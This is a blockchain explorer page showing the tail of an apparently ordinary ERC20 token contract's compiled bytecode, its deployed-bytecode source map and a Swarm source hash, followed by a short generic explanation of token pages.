e565b91506113f983610cee565b925082820390508181111561141157611410610ecf565b5b92915050565b5f60608201905061142a5f830186610e69565b6114376020830185610e69565b6114446040830184610d92565b949350505050565b61145581610d5f565b811461145f575f80fd5b50565b5f815190506114708161144c565b92915050565b5f6020828403121561148b5761148a610c90565b5b5f61149884828501611462565b91505092915050565b5f6114ab82610cee565b91506114b683610cee565b92508282019050808211156114ce576114cd610ecf565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611508601b83610c0a565b9150611513826114d4565b602082019050919050565b5f6020820190508181035f830152611535816114fc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204fbc8a34837a49082a08c6146de32df0a74c4702b0ab05bf3bb4f7211a9c44c064736f6c634300081a0033

Deployed Bytecode Sourcemap

2809:3141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3884:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3715:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4161:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5630:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3973:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3413:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2652:148;;;:::i;:::-;;2438:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4062:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3540:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4261:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3884:83;3921:13;3954:5;;;;;;;;;;;;;;;;;3947:12;;3884:83;:::o;3715:161::-;3790:4;3807:39;3816:12;:10;:12::i;:::-;3830:7;3839:6;3807:8;:39::i;:::-;3864:4;3857:11;;3715:161;;;;:::o;4161:94::-;4214:7;3059:2;3118;:15;;;;:::i;:::-;3102:13;:31;;;;:::i;:::-;4234:13;;4161:94;:::o;5630:313::-;5728:4;5745:36;5755:6;5763:9;5774:6;5745:9;:36::i;:::-;5792:121;5801:6;5809:12;:10;:12::i;:::-;5823:89;5861:6;5823:89;;;;;;;;;;;;;;;;;:11;:19;5835:6;5823:19;;;;;;;;;;;;;;;:33;5843:12;:10;:12::i;:::-;5823:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5792:8;:121::i;:::-;5931:4;5924:11;;5630:313;;;;;:::o;3973:83::-;4014:5;3059:2;4032:16;;3973:83;:::o;3413:119::-;3479:7;3506:9;:18;3516:7;3506:18;;;;;;;;;;;;;;;;3499:25;;3413:119;;;:::o;2652:148::-;2575:12;:10;:12::i;:::-;2565:22;;:6;;;;;;;;;;:22;;;2557:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2759:1:::1;2722:40;;2743:6;::::0;::::1;;;;;;;;2722:40;;;;;;;;;;;;2790:1;2773:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2652:148::o:0;2438:79::-;2476:7;2503:6;;;;;;;;;;;2496:13;;2438:79;:::o;4062:87::-;4101:13;4134:7;;;;;;;;;;;;;;;;;4127:14;;4062:87;:::o;3540:167::-;3618:4;3635:42;3645:12;:10;:12::i;:::-;3659:9;3670:6;3635:9;:42::i;:::-;3695:4;3688:11;;3540:167;;;;:::o;4261:143::-;4342:7;4369:11;:18;4381:5;4369:18;;;;;;;;;;;;;;;:27;4388:7;4369:27;;;;;;;;;;;;;;;;4362:34;;4261:143;;;;:::o;190:98::-;243:7;270:10;263:17;;190:98;:::o;4410:335::-;4520:1;4503:19;;:5;:19;;;4495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4601:1;4582:21;;:7;:21;;;4574:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4683:6;4653:11;:18;4665:5;4653:18;;;;;;;;;;;;;;;:27;4672:7;4653:27;;;;;;;;;;;;;;;:36;;;;4721:7;4705:32;;4714:5;4705:32;;;4730:6;4705:32;;;;;;:::i;:::-;;;;;;;;4410:335;;;:::o;4757:584::-;4875:1;4859:18;;:4;:18;;;4851:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4952:1;4938:16;;:2;:16;;;4930:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5007:19;5029:9;:15;5039:4;5029:15;;;;;;;;;;;;;;;;5007:37;;5081:6;5066:11;:21;;5058:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5132:46;5163:4;5168:2;5171:6;5132:20;:46::i;:::-;5231:6;5217:11;:20;;;;:::i;:::-;5199:9;:15;5209:4;5199:15;;;;;;;;;;;;;;;:38;;;;5266:25;5284:6;5266:9;:13;5276:2;5266:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5250:9;:13;5260:2;5250:13;;;;;;;;;;;;;;;:41;;;;5322:2;5307:26;;5316:4;5307:26;;;5326:6;5307:26;;;;;;:::i;:::-;;;;;;;;4840:501;4757:584;;;:::o;1190:190::-;1276:7;1309:1;1304;:6;;1312:12;1296:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1336:9;1352:1;1348;:5;;;;:::i;:::-;1336:17;;1371:1;1364:8;;;1190:190;;;;;:::o;5355:269::-;5498:80;5456:144;;;5601:4;5606:2;5609:6;5456:160;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5355:269;;;:::o;1005:179::-;1063:7;1083:9;1099:1;1095;:5;;;;:::i;:::-;1083:17;;1124:1;1119;:6;;1111:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1175:1;1168:8;;;1005:179;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:102;6141:8;6188:5;6185:1;6181:13;6160:34;;6099:102;;;:::o;6207:848::-;6268:5;6275:4;6299:6;6290:15;;6323:5;6314:14;;6337:712;6358:1;6348:8;6345:15;6337:712;;;6453:4;6448:3;6444:14;6438:4;6435:24;6432:50;;;6462:18;;:::i;:::-;6432:50;6512:1;6502:8;6498:16;6495:451;;;6927:4;6920:5;6916:16;6907:25;;6495:451;6977:4;6971;6967:15;6959:23;;7007:32;7030:8;7007:32;:::i;:::-;6995:44;;6337:712;;;6207:848;;;;;;;:::o;7061:1073::-;7115:5;7306:8;7296:40;;7327:1;7318:10;;7329:5;;7296:40;7355:4;7345:36;;7372:1;7363:10;;7374:5;;7345:36;7441:4;7489:1;7484:27;;;;7525:1;7520:191;;;;7434:277;;7484:27;7502:1;7493:10;;7504:5;;;7520:191;7565:3;7555:8;7552:17;7549:43;;;7572:18;;:::i;:::-;7549:43;7621:8;7618:1;7614:16;7605:25;;7656:3;7649:5;7646:14;7643:40;;;7663:18;;:::i;:::-;7643:40;7696:5;;;7434:277;;7820:2;7810:8;7807:16;7801:3;7795:4;7792:13;7788:36;7770:2;7760:8;7757:16;7752:2;7746:4;7743:12;7739:35;7723:111;7720:246;;;7876:8;7870:4;7866:19;7857:28;;7911:3;7904:5;7901:14;7898:40;;;7918:18;;:::i;:::-;7898:40;7951:5;;7720:246;7991:42;8029:3;8019:8;8013:4;8010:1;7991:42;:::i;:::-;7976:57;;;;8065:4;8060:3;8056:14;8049:5;8046:25;8043:51;;;8074:18;;:::i;:::-;8043:51;8123:4;8116:5;8112:16;8103:25;;7061:1073;;;;;;:::o;8140:281::-;8198:5;8222:23;8240:4;8222:23;:::i;:::-;8214:31;;8266:25;8282:8;8266:25;:::i;:::-;8254:37;;8310:104;8347:66;8337:8;8331:4;8310:104;:::i;:::-;8301:113;;8140:281;;;;:::o;8427:410::-;8467:7;8490:20;8508:1;8490:20;:::i;:::-;8485:25;;8524:20;8542:1;8524:20;:::i;:::-;8519:25;;8579:1;8576;8572:9;8601:30;8619:11;8601:30;:::i;:::-;8590:41;;8780:1;8771:7;8767:15;8764:1;8761:22;8741:1;8734:9;8714:83;8691:139;;8810:18;;:::i;:::-;8691:139;8475:362;8427:410;;;;:::o;8843:182::-;8983:34;8979:1;8971:6;8967:14;8960:58;8843:182;:::o;9031:366::-;9173:3;9194:67;9258:2;9253:3;9194:67;:::i;:::-;9187:74;;9270:93;9359:3;9270:93;:::i;:::-;9388:2;9383:3;9379:12;9372:19;;9031:366;;;:::o;9403:419::-;9569:4;9607:2;9596:9;9592:18;9584:26;;9656:9;9650:4;9646:20;9642:1;9631:9;9627:17;9620:47;9684:131;9810:4;9684:131;:::i;:::-;9676:139;;9403:419;;;:::o;9828:223::-;9968:34;9964:1;9956:6;9952:14;9945:58;10037:6;10032:2;10024:6;10020:15;10013:31;9828:223;:::o;10057:366::-;10199:3;10220:67;10284:2;10279:3;10220:67;:::i;:::-;10213:74;;10296:93;10385:3;10296:93;:::i;:::-;10414:2;10409:3;10405:12;10398:19;;10057:366;;;:::o;10429:419::-;10595:4;10633:2;10622:9;10618:18;10610:26;;10682:9;10676:4;10672:20;10668:1;10657:9;10653:17;10646:47;10710:131;10836:4;10710:131;:::i;:::-;10702:139;;10429:419;;;:::o;10854:221::-;10994:34;10990:1;10982:6;10978:14;10971:58;11063:4;11058:2;11050:6;11046:15;11039:29;10854:221;:::o;11081:366::-;11223:3;11244:67;11308:2;11303:3;11244:67;:::i;:::-;11237:74;;11320:93;11409:3;11320:93;:::i;:::-;11438:2;11433:3;11429:12;11422:19;;11081:366;;;:::o;11453:419::-;11619:4;11657:2;11646:9;11642:18;11634:26;;11706:9;11700:4;11696:20;11692:1;11681:9;11677:17;11670:47;11734:131;11860:4;11734:131;:::i;:::-;11726:139;;11453:419;;;:::o;11878:224::-;12018:34;12014:1;12006:6;12002:14;11995:58;12087:7;12082:2;12074:6;12070:15;12063:32;11878:224;:::o;12108:366::-;12250:3;12271:67;12335:2;12330:3;12271:67;:::i;:::-;12264:74;;12347:93;12436:3;12347:93;:::i;:::-;12465:2;12460:3;12456:12;12449:19;;12108:366;;;:::o;12480:419::-;12646:4;12684:2;12673:9;12669:18;12661:26;;12733:9;12727:4;12723:20;12719:1;12708:9;12704:17;12697:47;12761:131;12887:4;12761:131;:::i;:::-;12753:139;;12480:419;;;:::o;12905:222::-;13045:34;13041:1;13033:6;13029:14;13022:58;13114:5;13109:2;13101:6;13097:15;13090:30;12905:222;:::o;13133:366::-;13275:3;13296:67;13360:2;13355:3;13296:67;:::i;:::-;13289:74;;13372:93;13461:3;13372:93;:::i;:::-;13490:2;13485:3;13481:12;13474:19;;13133:366;;;:::o;13505:419::-;13671:4;13709:2;13698:9;13694:18;13686:26;;13758:9;13752:4;13748:20;13744:1;13733:9;13729:17;13722:47;13786:131;13912:4;13786:131;:::i;:::-;13778:139;;13505:419;;;:::o;13930:225::-;14070:34;14066:1;14058:6;14054:14;14047:58;14139:8;14134:2;14126:6;14122:15;14115:33;13930:225;:::o;14161:366::-;14303:3;14324:67;14388:2;14383:3;14324:67;:::i;:::-;14317:74;;14400:93;14489:3;14400:93;:::i;:::-;14518:2;14513:3;14509:12;14502:19;;14161:366;;;:::o;14533:419::-;14699:4;14737:2;14726:9;14722:18;14714:26;;14786:9;14780:4;14776:20;14772:1;14761:9;14757:17;14750:47;14814:131;14940:4;14814:131;:::i;:::-;14806:139;;14533:419;;;:::o;14958:194::-;14998:4;15018:20;15036:1;15018:20;:::i;:::-;15013:25;;15052:20;15070:1;15052:20;:::i;:::-;15047:25;;15096:1;15093;15089:9;15081:17;;15120:1;15114:4;15111:11;15108:37;;;15125:18;;:::i;:::-;15108:37;14958:194;;;;:::o;15158:442::-;15307:4;15345:2;15334:9;15330:18;15322:26;;15358:71;15426:1;15415:9;15411:17;15402:6;15358:71;:::i;:::-;15439:72;15507:2;15496:9;15492:18;15483:6;15439:72;:::i;:::-;15521;15589:2;15578:9;15574:18;15565:6;15521:72;:::i;:::-;15158:442;;;;;;:::o;15606:116::-;15676:21;15691:5;15676:21;:::i;:::-;15669:5;15666:32;15656:60;;15712:1;15709;15702:12;15656:60;15606:116;:::o;15728:137::-;15782:5;15813:6;15807:13;15798:22;;15829:30;15853:5;15829:30;:::i;:::-;15728:137;;;;:::o;15871:345::-;15938:6;15987:2;15975:9;15966:7;15962:23;15958:32;15955:119;;;15993:79;;:::i;:::-;15955:119;16113:1;16138:61;16191:7;16182:6;16171:9;16167:22;16138:61;:::i;:::-;16128:71;;16084:125;15871:345;;;;:::o;16222:191::-;16262:3;16281:20;16299:1;16281:20;:::i;:::-;16276:25;;16315:20;16333:1;16315:20;:::i;:::-;16310:25;;16358:1;16355;16351:9;16344:16;;16379:3;16376:1;16373:10;16370:36;;;16386:18;;:::i;:::-;16370:36;16222:191;;;;:::o;16419:177::-;16559:29;16555:1;16547:6;16543:14;16536:53;16419:177;:::o;16602:366::-;16744:3;16765:67;16829:2;16824:3;16765:67;:::i;:::-;16758:74;;16841:93;16930:3;16841:93;:::i;:::-;16959:2;16954:3;16950:12;16943:19;;16602:366;;;:::o;16974:419::-;17140:4;17178:2;17167:9;17163:18;17155:26;;17227:9;17221:4;17217:20;17213:1;17202:9;17198:17;17191:47;17255:131;17381:4;17255:131;:::i;:::-;17247:139;;16974:419;;;:::o

Swarm Source

ipfs://4fbc8a34837a49082a08c6146de32df0a74c4702b0ab05bf3bb4f7211a9c44c0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.